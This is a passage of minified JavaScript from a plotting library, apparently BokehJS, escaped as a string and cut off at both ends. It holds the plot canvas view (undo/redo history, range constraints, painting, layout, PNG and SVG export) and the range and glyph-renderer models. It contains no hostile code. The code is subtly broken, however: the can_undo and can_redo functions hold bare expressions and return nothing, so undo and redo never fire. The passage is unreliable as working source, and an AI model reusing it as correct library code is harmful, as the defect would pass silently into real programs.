0===n&&(n=\\\"default\\\"),this.frame.map_to_screen(t,e,i,n)},t.prototype.push_state=function(t,e){var i=this.state,n=i.history,r=i.index,o=null!=n[r]?n[r].info:{},s=l.__assign({},this._initial_state_info,o,e);this.state.history=this.state.history.slice(0,this.state.index+1),this.state.history.push({type:t,info:s}),this.state.index=this.state.history.length-1,this.state_changed.emit()},t.prototype.clear_state=function(){this.state={history:[],index:-1},this.state_changed.emit()},t.prototype.can_undo=function(){this.state.index},t.prototype.can_redo=function(){this.state.index,this.state.history.length},t.prototype.undo=function(){this.can_undo()&&(this.state.index-=1,this._do_state_change(this.state.index),this.state_changed.emit())},t.prototype.redo=function(){this.can_redo()&&(this.state.index+=1,this._do_state_change(this.state.index),this.state_changed.emit())},t.prototype._do_state_change=function(t){var e=null!=this.state.history[t]?this.state.history[t].info:this._initial_state_info;null!=e.range&&this.update_range(e.range),null!=e.selection&&this.update_selection(e.selection)},t.prototype.get_selection=function(){for(var t={},e=0,i=this.model.plot.renderers;e<i.length;e++){var n=i[e];if(n instanceof T.GlyphRenderer){var r=n.data_source.selected;t[n.id]=r}}return t},t.prototype.update_selection=function(t){for(var e=0,i=this.model.plot.renderers;e<i.length;e++){var n=i[e];if(n instanceof T.GlyphRenderer){var r=n.data_source;null!=t?null!=t[n.id]&&r.selected.update(t[n.id],!0,!1):r.selection_manager.clear()}}},t.prototype.reset_selection=function(){this.update_selection(null)},t.prototype._update_ranges_together=function(t){for(var e=1,i=0,n=t;i<n.length;i++){var r=n[i],o=r[0],s=r[1];e=Math.min(e,this._get_weight_to_constrain_interval(o,s))}if(e<1)for(var a=0,l=t;a<l.length;a++){var h=l[a],o=h[0],s=h[1];s.start=e*s.start+(1-e)*o.start,s.end=e*s.end+(1-e)*o.end}},t.prototype._update_ranges_individually=function(t,e,i,n){for(var r=!1,o=0,s=t;o<s.length;o++){var a=s[o],l=a[0],h=a[1];if(!i){var u=this._get_weight_to_constrain_interval(l,h);u<1&&(h.start=u*h.start+(1-u)*l.start,h.end=u*h.end+(1-u)*l.end)}if(null!=l.bounds&&\\\"auto\\\"!=l.bounds){var c=l.bounds,_=c[0],p=c[1],d=Math.abs(h.end-h.start);l.is_reversed?(null!=_&&_>=h.end&&(r=!0,h.end=_,(e||i)&&(h.start=_+d)),null!=p&&p<=h.start&&(r=!0,h.start=p,(e||i)&&(h.end=p-d))):(null!=_&&_>=h.start&&(r=!0,h.start=_,(e||i)&&(h.end=_+d)),null!=p&&p<=h.end&&(r=!0,h.end=p,(e||i)&&(h.start=p-d)))}}if(!(i&&r&&n))for(var f=0,v=t;f<v.length;f++){var m=v[f],l=m[0],h=m[1];l.have_updated_interactively=!0,l.start==h.start&&l.end==h.end||l.setv(h)}},t.prototype._get_weight_to_constrain_interval=function(t,e){var i=t.min_interval,n=t.max_interval;if(null!=t.bounds&&\\\"auto\\\"!=t.bounds){var r=t.bounds,o=r[0],s=r[1];if(null!=o&&null!=s){var a=Math.abs(s-o);n=null!=n?Math.min(n,a):a}}var l=1;if(null!=i||null!=n){var h=Math.abs(t.end-t.start),u=Math.abs(e.end-e.start);0<i&&u<i&&(l=(h-i)/(h-u)),0<n&&n<u&&(l=(n-h)/(u-h)),l=Math.max(0,Math.min(1,l))}return l},t.prototype.update_range=function(t,e,i,n){void 0===e&&(e=!1),void 0===i&&(i=!1),void 0===n&&(n=!0),this.pause();var r=this.frame,o=r.x_ranges,s=r.y_ranges;if(null==t){for(var a in o){var l=o[a];l.reset()}for(var h in s){var l=s[h];l.reset()}this.update_dataranges()}else{var u=[];for(var c in o){var l=o[c];u.push([l,t.xrs[c]])}for(var _ in s){var l=s[_];u.push([l,t.yrs[_]])}i&&this._update_ranges_together(u),this._update_ranges_individually(u,e,i,n)}this.unpause()},t.prototype.reset_range=function(){this.update_range(null)},t.prototype.build_levels=function(){var t=this.model.plot.all_renderers,e=E.keys(this.renderer_views),i=c.build_views(this.renderer_views,t,this.view_options()),n=b.difference(e,t.map(function(t){return t.id}));for(var r in this.levels)for(var o=0,s=n;o<s.length;o++){var a=s[o];delete this.levels[r][a]}for(var l=0,h=i;l<h.length;l++){var u=h[l];this.levels[u.model.level][u.model.id]=u}},t.prototype.get_renderer_views=function(){var e=this;return this.model.plot.renderers.map(function(t){return e.levels[t.level][t.id]})},t.prototype.build_tools=function(){var e=this,t=this.model.plot.toolbar.tools,i=c.build_views(this.tool_views,t,this.view_options());i.map(function(t){return e.ui_event_bus.register_tool(t)})},t.prototype.connect_signals=function(){var t=this;a.prototype.connect_signals.call(this),this.connect(this.force_paint,function(){return t.repaint()});var e=this.model.frame,i=e.x_ranges,n=e.y_ranges;for(var r in i){var o=i[r];this.connect(o.change,function(){return t.request_render()})}for(var s in n){var o=n[s];this.connect(o.change,function(){return t.request_render()})}this.connect(this.model.plot.properties.renderers.change,function(){return t.build_levels()}),this.connect(this.model.plot.toolbar.properties.tools.change,function(){t.build_levels(),t.build_tools()}),this.connect(this.model.plot.change,function(){return t.request_render()}),this.connect(this.model.plot.reset,function(){return t.reset()})},t.prototype.set_initial_range=function(){var t=!0,e=this.frame,i=e.x_ranges,n=e.y_ranges,r={},o={};for(var s in i){var a=i[s],l=a.start,h=a.end;if(null==l||null==h||y.isStrictNaN(l+h)){t=!1;break}r[s]={start:l,end:h}}if(t)for(var u in n){var c=n[u],l=c.start,h=c.end;if(null==l||null==h||y.isStrictNaN(l+h)){t=!1;break}o[u]={start:l,end:h}}t?(this._initial_state_info.range={xrs:r,yrs:o},A.logger.debug(\\\"initial ranges set\\\")):A.logger.warn(\\\"could not set initial ranges\\\")},t.prototype.update_constraints=function(){for(var t in this.solver.suggest_value(this.frame._width,this.canvas._width.value),this.solver.suggest_value(this.frame._height,this.canvas._height.value),this.renderer_views){var e=this.renderer_views[t];x.isSizeableView(e)&&null!=e.model.panel&&x.update_panel_constraints(e)}this.solver.update_variables()},t.prototype._layout=function(t){void 0===t&&(t=!1),this.render(),t&&(this.model.plot.setv({inner_width:Math.round(this.frame._width.value),inner_height:Math.round(this.frame._height.value),layout_width:Math.round(this.canvas._width.value),layout_height:Math.round(this.canvas._height.value)},{no_change:!0}),this.paint())},t.prototype.has_finished=function(){if(!a.prototype.has_finished.call(this))return!1;for(var t in this.levels){var e=this.levels[t];for(var i in e){var n=e[i];if(!n.has_finished())return!1}}return!0},t.prototype.render=function(){var t=this.model._width.value,e=this.model._height.value;this.canvas_view.set_dims([t,e]),this.update_constraints(),!1!==this.model.plot.match_aspect&&0!=this.frame._width.value&&0!=this.frame._height.value&&this.update_dataranges(),this.el.style.position=\\\"absolute\\\",this.el.style.left=this.model._dom_left.value+\\\"px\\\",this.el.style.top=this.model._dom_top.value+\\\"px\\\",this.el.style.width=this.model._width.value+\\\"px\\\",this.el.style.height=this.model._height.value+\\\"px\\\"},t.prototype._needs_layout=function(){for(var t in this.renderer_views){var e=this.renderer_views[t];if(x.isSizeableView(e)&&null!=e.model.panel&&x._view_sizes.get(e)!=e.get_size())return!0}return!1},t.prototype.repaint=function(){this._needs_layout()?this.parent.partial_layout():this.paint()},t.prototype.paint=function(){var t=this;if(!this.is_paused){A.logger.trace(\\\"PlotCanvas.render() for \\\"+this.model.id),this.canvas_view.prepare_canvas();var e=this.model.document;if(null!=e){var i=e.interactive_duration(),n=this.model.plot;0<=i&&i<n.lod_interval?setTimeout(function(){e.interactive_duration()>n.lod_timeout&&e.interactive_stop(n),t.request_render()},n.lod_timeout):e.interactive_stop(n)}for(var r in this.renderer_views){var o=this.renderer_views[r];if(null==this.range_update_timestamp||o instanceof T.GlyphRendererView&&o.set_data_timestamp>this.range_update_timestamp){this.update_dataranges();break}}this.model.frame.update_scales();var s=this.canvas_view.ctx,a=this.canvas.pixel_ratio;s.save(),s.scale(a,a),s.translate(.5,.5);var l=[this.frame._left.value,this.frame._top.value,this.frame._width.value,this.frame._height.value];if(this._map_hook(s,l),this._paint_empty(s,l),this.prepare_webgl(a,l),s.save(),this.visuals.outline_line.doit){this.visuals.outline_line.set_value(s);var h=l[0],u=l[1],c=l[2],_=l[3];h+c==this.canvas._width.value&&(c-=1),u+_==this.canvas._height.value&&(_-=1),s.strokeRect(h,u,c,_)}s.restore(),this._paint_levels(s,[\\\"image\\\",\\\"underlay\\\",\\\"glyph\\\"],l,!0),this.blit_webgl(a),this._paint_levels(s,[\\\"annotation\\\"],l,!0),this._paint_levels(s,[\\\"overlay\\\"],l,!1),null==this._initial_state_info.range&&this.set_initial_range(),s.restore(),this._has_finished||(this._has_finished=!0,this.notify_finished())}},t.prototype._paint_levels=function(t,e,i,n){t.save(),n&&(t.beginPath(),t.rect.apply(t,i),t.clip());for(var r={},o=0;o<this.model.plot.renderers.length;o++){var s=this.model.plot.renderers[o];r[s.id]=o}for(var a=function(t){return r[t.model.id]},l=0,h=e;l<h.length;l++)for(var u=h[l],c=b.sortBy(E.values(this.levels[u]),a),_=0,p=c;_<p.length;_++){var d=p[_];!n&&d.needs_clip&&(t.save(),t.beginPath(),t.rect.apply(t,i),t.clip()),d.render(),!n&&d.needs_clip&&t.restore()}t.restore()},t.prototype._map_hook=function(t,e){},t.prototype._paint_empty=function(t,e){var i=[0,0,this.canvas_view.model._width.value,this.canvas_view.model._height.value],n=i[0],r=i[1],o=i[2],s=i[3],a=e[0],l=e[1],h=e[2],u=e[3];t.clearRect(n,r,o,s),this.visuals.border_fill.doit&&(this.visuals.border_fill.set_value(t),t.fillRect(n,r,o,s),t.clearRect(a,l,h,u)),this.visuals.background_fill.doit&&(this.visuals.background_fill.set_value(t),t.fillRect(a,l,h,u))},t.prototype.save=function(t){switch(this.model.plot.output_backend){case\\\"canvas\\\":case\\\"webgl\\\":var e=this.canvas_view.get_canvas_element();if(null!=e.msToBlob){var i=e.msToBlob();window.navigator.msSaveBlob(i,t)}else{var n=document.createElement(\\\"a\\\");n.href=e.toDataURL(\\\"image/png\\\"),n.download=t+\\\".png\\\",n.target=\\\"_blank\\\",n.dispatchEvent(new MouseEvent(\\\"click\\\"))}break;case\\\"svg\\\":var r=this.canvas_view._ctx,o=r.getSerializedSvg(!0),s=new Blob([o],{type:\\\"text/plain\\\"}),a=document.createElement(\\\"a\\\");a.download=t+\\\".svg\\\",a.innerHTML=\\\"Download svg\\\",a.href=window.URL.createObjectURL(s),a.onclick=function(t){return document.body.removeChild(t.target)},a.style.display=\\\"none\\\",document.body.appendChild(a),a.click()}},t}(a.DOMView);i.PlotCanvasView=k;var S=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return l.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"AbovePanel\\\"},e}(p.LayoutCanvas);(i.AbovePanel=S).initClass();var M=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return l.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"BelowPanel\\\"},e}(p.LayoutCanvas);(i.BelowPanel=M).initClass();var O=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return l.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"LeftPanel\\\"},e}(p.LayoutCanvas);(i.LeftPanel=O).initClass();var z=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return l.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"RightPanel\\\"},e}(p.LayoutCanvas);(i.RightPanel=z).initClass();var P=function(e){function t(t){return e.call(this,t)||this}return l.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PlotCanvas\\\",this.prototype.default_view=k,this.internal({plot:[m.Instance],toolbar:[m.Instance],canvas:[m.Instance],frame:[m.Instance]}),this.override({sizing_mode:\\\"stretch_both\\\"})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.canvas=new n.Canvas({map:null!=this.use_map&&this.use_map,use_hidpi:this.plot.hidpi,output_backend:this.plot.output_backend}),this.frame=new r.CartesianFrame({x_range:this.plot.x_range,extra_x_ranges:this.plot.extra_x_ranges,x_scale:this.plot.x_scale,y_range:this.plot.y_range,extra_y_ranges:this.plot.extra_y_ranges,y_scale:this.plot.y_scale}),this.above_panel=new S,this.below_panel=new M,this.left_panel=new O,this.right_panel=new z,A.logger.debug(\\\"PlotCanvas initialized\\\")},t.prototype._doc_attached=function(){this.canvas.attach_document(this.document),this.frame.attach_document(this.document),this.above_panel.attach_document(this.document),this.below_panel.attach_document(this.document),this.left_panel.attach_document(this.document),this.right_panel.attach_document(this.document),e.prototype._doc_attached.call(this),A.logger.debug(\\\"PlotCanvas attached to document\\\")},t.prototype.get_layoutable_children=function(){var r=[this.above_panel,this.below_panel,this.left_panel,this.right_panel,this.canvas,this.frame],t=function(t){for(var e=0,i=t;e<i.length;e++){var n=i[e];x.isSizeable(n)&&null!=n.panel&&r.push(n.panel)}};return t(this.plot.above),t(this.plot.below),t(this.plot.left),t(this.plot.right),r},t.prototype.get_constraints=function(){return e.prototype.get_constraints.call(this).concat(this._get_constant_constraints(),this._get_side_constraints())},t.prototype._get_constant_constraints=function(){return[f.EQ(this.canvas._left,0),f.EQ(this.canvas._top,0),f.GE(this.above_panel._top,[-1,this.canvas._top]),f.EQ(this.above_panel._bottom,[-1,this.frame._top]),f.EQ(this.above_panel._left,[-1,this.left_panel._right]),f.EQ(this.above_panel._right,[-1,this.right_panel._left]),f.EQ(this.below_panel._top,[-1,this.frame._bottom]),f.LE(this.below_panel._bottom,[-1,this.canvas._bottom]),f.EQ(this.below_panel._left,[-1,this.left_panel._right]),f.EQ(this.below_panel._right,[-1,this.right_panel._left]),f.EQ(this.left_panel._top,[-1,this.above_panel._bottom]),f.EQ(this.left_panel._bottom,[-1,this.below_panel._top]),f.GE(this.left_panel._left,[-1,this.canvas._left]),f.EQ(this.left_panel._right,[-1,this.frame._left]),f.EQ(this.right_panel._top,[-1,this.above_panel._bottom]),f.EQ(this.right_panel._bottom,[-1,this.below_panel._top]),f.EQ(this.right_panel._left,[-1,this.frame._right]),f.LE(this.right_panel._right,[-1,this.canvas._right]),f.EQ(this._top,[-1,this.above_panel._bottom]),f.EQ(this._left,[-1,this.left_panel._right]),f.EQ(this._height,[-1,this._bottom],[-1,this.canvas._bottom],this.below_panel._top),f.EQ(this._width,[-1,this._right],[-1,this.canvas._right],this.right_panel._left),f.GE(this._top,-this.plot.min_border_top),f.GE(this._left,-this.plot.min_border_left),f.GE(this._height,[-1,this._bottom],-this.plot.min_border_bottom),f.GE(this._width,[-1,this._right],-this.plot.min_border_right)]},t.prototype._get_side_constraints=function(){var t=function(t){return t.map(function(t){return t.panel})},e=d.vstack(this.above_panel,t(this.plot.above)),i=d.vstack(this.below_panel,b.reversed(t(this.plot.below))),n=d.hstack(this.left_panel,t(this.plot.left)),r=d.hstack(this.right_panel,b.reversed(t(this.plot.right)));return b.concat([e,i,n,r])},t}(o.LayoutDOM);(i.PlotCanvas=P).initClass()},function(t,e,i){var n=t(391),r=t(183),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DataRange\\\",this.define({names:[o.Array,[]],renderers:[o.Array,[]]})},t}(r.Range);(i.DataRange=s).initClass()},function(t,e,i){var n=t(391),r=t(179),h=t(185),_=t(14),o=t(15),u=t(24),c=t(21),s=function(i){function t(t){var e=i.call(this,t)||this;return e._plot_bounds={},e.have_updated_interactively=!1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"DataRange1d\\\",this.define({start:[o.Number],end:[o.Number],range_padding:[o.Number,.1],range_padding_units:[o.PaddingUnits,\\\"percent\\\"],flipped:[o.Bool,!1],follow:[o.StartEnd],follow_interval:[o.Number],default_span:[o.Number,2]}),this.internal({scale_hint:[o.String,\\\"auto\\\"]})},t.prototype.initialize=function(){i.prototype.initialize.call(this),this._initial_start=this.start,this._initial_end=this.end,this._initial_range_padding=this.range_padding,this._initial_range_padding_units=this.range_padding_units,this._initial_follow=this.follow,this._initial_follow_interval=this.follow_interval,this._initial_default_span=this.default_span},Object.defineProperty(t.prototype,\\\"min\\\",{get:function(){return Math.min(this.start,this.end)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max\\\",{get:function(){return Math.max(this.start,this.end)},enumerable:!0,configurable:!0}),t.prototype.computed_renderers=function(){var e=this.names,t=this.renderers;if(0==t.length)for(var i=0,n=this.plots;i<n.length;i++){var r=n[i],o=r.renderers.filter(function(t){return t instanceof h.GlyphRenderer});t=t.concat(o)}0<e.length&&(t=t.filter(function(t){return c.includes(e,t.name)})),_.logger.debug(\\\"computed \\\"+t.length+\\\" renderers for DataRange1d \\\"+this.id);for(var s=0,a=t;s<a.length;s++){var l=a[s];_.logger.trace(\\\" - \\\"+l.type+\\\" \\\"+l.id)}return t},t.prototype._compute_plot_bounds=function(t,e){for(var i=u.empty(),n=0,r=t;n<r.length;n++){var o=r[n];null!=e[o.id]&&(i=u.union(i,e[o.id]))}return i},t.prototype.adjust_bounds_for_aspect=function(t,e){var i=u.empty(),n=t.maxX-t.minX;n<=0&&(n=1);var r=t.maxY-t.minY;r<=0&&(r=1);var o=.5*(t.maxX+t.minX),s=.5*(t.maxY+t.minY);return n<e*r?n=e*r:r=n/e,i.maxX=o+.5*n,i.minX=o-.5*n,i.maxY=s+.5*r,i.minY=s-.5*r,i},t.prototype._compute_min_max=function(t,e){var i,n,r,o,s=u.empty();for(var a in t){var l=t[a];s=u.union(s,l)}return 0==e?(i=[s.minX,s.maxX],r=i[0],o=i[1]):(n=[s.minY,s.maxY],r=n[0],o=n[1]),[r,o]},t.prototype._compute_range=function(t,e){var i,n,r,o=this.range_padding;if(\\\"log\\\"==this.scale_hint){(isNaN(t)||!isFinite(t)||t<=0)&&(t=isNaN(e)||!isFinite(e)||e<=0?.1:e/100,_.logger.warn(\\\"could not determine minimum data value for log axis, DataRange1d using value \\\"+t)),(isNaN(e)||!isFinite(e)||e<=0)&&(e=isNaN(t)||!isFinite(t)||t<=0?10:100*t,_.logger.warn(\\\"could not determine maximum data value for log axis, DataRange1d using value \\\"+e));var s=void 0,a=void 0;if(e==t)a=this.default_span+.001,s=Math.log(t)/Math.log(10);else{var l=void 0,h=void 0;\\\"percent\\\"==this.range_padding_units?(l=Math.log(t)/Math.log(10),h=Math.log(e)/Math.log(10),a=(h-l)*(1+o)):(l=Math.log(t-o)/Math.log(10),h=Math.log(e+o)/Math.log(10),a=h-l),s=(l+h)/2}n=Math.pow(10,s-a/2),r=Math.pow(10,s+a/2)}else{var a=void 0;a=e==t?this.default_span:\\\"percent\\\"==this.range_padding_units?(e-t)*(1+o):e-t+2*o;var s=(e+t)/2;n=s-a/2,r=s+a/2}var u=1;this.flipped&&(n=(i=[r,n])[0],r=i[1],u=-1);var c=this.follow_interval;return null!=c&&Math.abs(n-r)>c&&(\\\"start\\\"==this.follow?r=n+u*c:\\\"end\\\"==this.follow&&(n=r-u*c)),[n,r]},t.prototype.update=function(t,e,i,n){if(!this.have_updated_interactively){var r=this.computed_renderers(),o=this._compute_plot_bounds(r,t);null!=n&&(o=this.adjust_bounds_for_aspect(o,n)),this._plot_bounds[i]=o;var s=this._compute_min_max(this._plot_bounds,e),a=s[0],l=s[1],h=this._compute_range(a,l),u=h[0],c=h[1];null!=this._initial_start&&(\\\"log\\\"==this.scale_hint?0<this._initial_start&&(u=this._initial_start):u=this._initial_start),null!=this._initial_end&&(\\\"log\\\"==this.scale_hint?0<this._initial_end&&(c=this._initial_end):c=this._initial_end);var _=[this.start,this.end],p=_[0],d=_[1];if(u!=p||c!=d){var f={};u!=p&&(f.start=u),c!=d&&(f.end=c),this.setv(f)}\\\"auto\\\"==this.bounds&&this.setv({bounds:[u,c]},{silent:!0}),this.change.emit()}},t.prototype.reset=function(){this.have_updated_interactively=!1,this.setv({range_padding:this._initial_range_padding,range_padding_units:this._initial_range_padding_units,follow:this._initial_follow,follow_interval:this._initial_follow_interval,default_span:this._initial_default_span},{silent:!0}),this.change.emit()},t}(r.DataRange);(i.DataRange1d=s).initClass()},function(t,e,i){var n=t(391),r=t(183),o=t(15),s=t(22),b=t(21),h=t(44);function m(t,e,i){void 0===i&&(i=0);for(var n={},r=0;r<t.length;r++){var o=t[r];if(o in n)throw new Error(\\\"duplicate factor or subfactor: \\\"+o);n[o]={value:.5+r*(1+e)+i}}return[n,(t.length-1)*e]}function x(t,s,a,e){void 0===e&&(e=0);for(var l={},h={},i=[],n=0,r=t;n<r.length;n++){var o=r[n],u=o[0],c=o[1];u in h||(h[u]=[],i.push(u)),h[u].push(c)}for(var _=e,p=0,d=function(t){var e=h[t].length,i=m(h[t],a,_),n=i[0],r=i[1];p+=r;var o=b.sum(h[t].map(function(t){return n[t].value}));l[t]={value:o/e,mapping:n},_+=e+s+r},f=0,v=i;f<v.length;f++){var u=v[f];d(u)}return[l,i,(i.length-1)*s+p]}function u(t,u,c,_,e){void 0===e&&(e=0);for(var p={},d={},i=[],n=0,r=t;n<r.length;n++){var o=r[n],s=o[0],a=o[1],l=o[2];s in d||(d[s]=[],i.push(s)),d[s].push([a,l])}for(var f=[],v=e,m=0,h=function(t){for(var e=d[t].length,i=x(d[t],c,_,v),n=i[0],r=i[1],o=i[2],s=0,a=r;s<a.length;s++){var l=a[s];f.push([t,l])}m+=o;var h=b.sum(d[t].map(function(t){var e=t[0];return n[e].value}));p[t]={value:h/e,mapping:n},v+=e+u+o},g=0,y=i;g<y.length;g++){var s=y[g];h(s)}return[p,i,f,(i.length-1)*u+m]}i.map_one_level=m,i.map_two_levels=x,i.map_three_levels=u;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"FactorRange\\\",this.define({factors:[o.Array,[]],factor_padding:[o.Number,0],subgroup_padding:[o.Number,.8],group_padding:[o.Number,1.4],range_padding:[o.Number,0],range_padding_units:[o.PaddingUnits,\\\"percent\\\"],start:[o.Number],end:[o.Number]}),this.internal({levels:[o.Number],mids:[o.Array],tops:[o.Array],tops_groups:[o.Array]})},Object.defineProperty(t.prototype,\\\"min\\\",{get:function(){return this.start},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max\\\",{get:function(){return this.end},enumerable:!0,configurable:!0}),t.prototype.initialize=function(){e.prototype.initialize.call(this),this._init(!0)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.properties.factors.change,function(){return t.reset()}),this.connect(this.properties.factor_padding.change,function(){return t.reset()}),this.connect(this.properties.group_padding.change,function(){return t.reset()}),this.connect(this.properties.subgroup_padding.change,function(){return t.reset()}),this.connect(this.properties.range_padding.change,function(){return t.reset()}),this.connect(this.properties.range_padding_units.change,function(){return t.reset()})},t.prototype.reset=function(){this._init(!1),this.change.emit()},t.prototype._lookup=function(t){if(1==t.length){var e=this._mapping;return e.hasOwnProperty(t[0])?e[t[0]].value:NaN}if(2==t.length){var e=this._mapping;return e.hasOwnProperty(t[0])&&e[t[0]].mapping.hasOwnProperty(t[1])?e[t[0]].mapping[t[1]].value:NaN}if(3==t.length){var e=this._mapping;return e.hasOwnProperty(t[0])&&e[t[0]].mapping.hasOwnProperty(t[1])&&e[t[0]].mapping[t[1]].mapping.hasOwnProperty(t[2])?e[t[0]].mapping[t[1]].mapping[t[2]].value:NaN}throw new Error(\\\"unreachable code\\\")},t.prototype.synthetic=function(t){if(h.isNumber(t))return t;if(h.isString(t))return this._lookup([t]);var e=0,i=t[t.length-1];return h.isNumber(i)&&(e=i,t=t.slice(0,-1)),this._lookup(t)+e},t.prototype.v_synthetic=function(t){var e=this;return s.map(t,function(t){return e.synthetic(t)})},t.prototype._init=function(t){var e,i,n,r,o;if(b.all(this.factors,h.isString))r=1,e=m(this.factors,this.factor_padding),this._mapping=e[0],o=e[1];else if(b.all(this.factors,function(t){return h.isArray(t)&&2==t.length&&h.isString(t[0])&&h.isString(t[1])}))r=2,i=x(this.factors,this.group_padding,this.factor_padding),this._mapping=i[0],this.tops=i[1],o=i[2];else{if(!b.all(this.factors,function(t){return h.isArray(t)&&3==t.length&&h.isString(t[0])&&h.isString(t[1])&&h.isString(t[2])}))throw new Error(\\\"???\\\");r=3,n=u(this.factors,this.group_padding,this.subgroup_padding,this.factor_padding),this._mapping=n[0],this.tops=n[1],this.mids=n[2],o=n[3]}var s=0,a=this.factors.length+o;if(\\\"percent\\\"==this.range_padding_units){var l=(a-s)*this.range_padding/2;s-=l,a+=l}else s-=this.range_padding,a+=this.range_padding;this.setv({start:s,end:a,levels:r},{silent:t}),\\\"auto\\\"==this.bounds&&this.setv({bounds:[s,a]},{silent:!0})},t}(r.Range);(i.FactorRange=a).initClass()},function(t,e,i){var n=t(179);i.DataRange=n.DataRange;var r=t(180);i.DataRange1d=r.DataRange1d;var o=t(181);i.FactorRange=o.FactorRange;var s=t(183);i.Range=s.Range;var a=t(184);i.Range1d=a.Range1d},function(t,e,i){var n=t(391),r=t(59),o=t(15),s=t(44),a=function(i){function t(t){var e=i.call(this,t)||this;return e.have_updated_interactively=!1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"Range\\\",this.define({callback:[o.Any],bounds:[o.Any],min_interval:[o.Any],max_interval:[o.Any]}),this.internal({plots:[o.Array,[]]})},t.prototype.connect_signals=function(){var t=this;i.prototype.connect_signals.call(this),this.connect(this.change,function(){return t._emit_callback()})},t.prototype.reset=function(){this.change.emit()},t.prototype._emit_callback=function(){null!=this.callback&&(s.isFunction(this.callback)?this.callback(this):this.callback.execute(this,{}))},Object.defineProperty(t.prototype,\\\"is_reversed\\\",{get:function(){return this.start>this.end},enumerable:!0,configurable:!0}),t}(r.Model);(i.Range=a).initClass()},function(t,e,i){var n=t(391),r=t(183),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Range1d\\\",this.define({start:[o.Number,0],end:[o.Number,1],reset_start:[o.Number],reset_end:[o.Number]})},t.prototype._set_auto_bounds=function(){if(\\\"auto\\\"==this.bounds){var t=Math.min(this.reset_start,this.reset_end),e=Math.max(this.reset_start,this.reset_end);this.setv({bounds:[t,e]},{silent:!0})}},t.prototype.initialize=function(){e.prototype.initialize.call(this),null==this.reset_start&&(this.reset_start=this.start),null==this.reset_end&&(this.reset_end=this.end),this._set_auto_bounds()},Object.defineProperty(t.prototype,\\\"min\\\",{get:function(){return Math.min(this.start,this.end)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max\\\",{get:function(){return Math.max(this.start,this.end)},enumerable:!0,configurable:!0}),t.prototype.reset=function(){this._set_auto_bounds(),this.start!=this.reset_start||this.end!=this.reset_end?this.setv({start:this.reset_start,end:this.reset_end}):this.change.emit()},t}(r.Range);(i.Range1d=s).initClass()},function(t,e,i){var n=t(391),r=t(189),P=t(130),o=t(199),j=t(14),s=t(15),a=t(22),N=t(21),_=t(32),l=t(181),p={fill:{},line:{}},d={fill:{fill_alpha:.3,fill_color:\\\"grey\\\"},line:{line_alpha:.3,line_color:\\\"grey\\\"}},f={fill:{fill_alpha:.2},line:{}},h=function(c){function t(){return null!==c&&c.apply(this,arguments)||this}return n.__extends(t,c),t.prototype.initialize=function(t){c.prototype.initialize.call(this,t);var i=this.model.glyph,n=N.includes(i.mixins,\\\"fill\\\"),r=N.includes(i.mixins,\\\"line\\\"),o=_.clone(i.attributes);function e(t){var e=_.clone(o);return n&&_.extend(e,t.fill),r&&_.extend(e,t.line),new i.constructor(e)}delete o.id,this.glyph=this.build_glyph_view(i);var s=this.model.selection_glyph;null==s?s=e({fill:{},line:{}}):\\\"auto\\\"===s&&(s=e(p)),this.selection_glyph=this.build_glyph_view(s);var a=this.model.nonselection_glyph;null==a?a=e({fill:{},line:{}}):\\\"auto\\\"===a&&(a=e(f)),this.nonselection_glyph=this.build_glyph_view(a);var l=this.model.hover_glyph;null!=l&&(this.hover_glyph=this.build_glyph_view(l));var h=this.model.muted_glyph;null!=h&&(this.muted_glyph=this.build_glyph_view(h));var u=e(d);this.decimated_glyph=this.build_glyph_view(u),this.xscale=this.plot_view.frame.xscales[this.model.x_range_name],this.yscale=this.plot_view.frame.yscales[this.model.y_range_name],this.set_data(!1)},t.prototype.build_glyph_view=function(t){return new t.default_view({model:t,renderer:this,plot_view:this.plot_view,parent:this})},t.prototype.connect_signals=function(){var e=this;c.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return e.request_render()}),this.connect(this.model.glyph.change,function(){return e.set_data()}),this.connect(this.model.data_source.change,function(){return e.set_data()}),this.connect(this.model.data_source.streaming,function(){return e.set_data()}),this.connect(this.model.data_source.patching,function(t){return e.set_data(!0,t)}),this.connect(this.model.data_source.selected.change,function(){return e.request_render()}),this.connect(this.model.data_source._select,function(){return e.request_render()}),null!=this.hover_glyph&&this.connect(this.model.data_source.inspect,function(){return e.request_render()}),this.connect(this.model.properties.view.change,function(){return e.set_data()}),this.connect(this.model.view.change,function(){return e.set_data()});var t=this.plot_model.frame,i=t.x_ranges,n=t.y_ranges;for(var r in i){var o=i[r];o instanceof l.FactorRange&&this.connect(o.change,function(){return e.set_data()})}for(var s in n){var o=n[s];o instanceof l.FactorRange&&this.connect(o.change,function(){return e.set_data()})}this.connect(this.model.glyph.transformchange,function(){return e.set_data()})},t.prototype.have_selection_glyphs=function(){return null!=this.selection_glyph&&null!=this.nonselection_glyph},t.prototype.set_data=function(t,e){void 0===t&&(t=!0),void 0===e&&(e=null);var 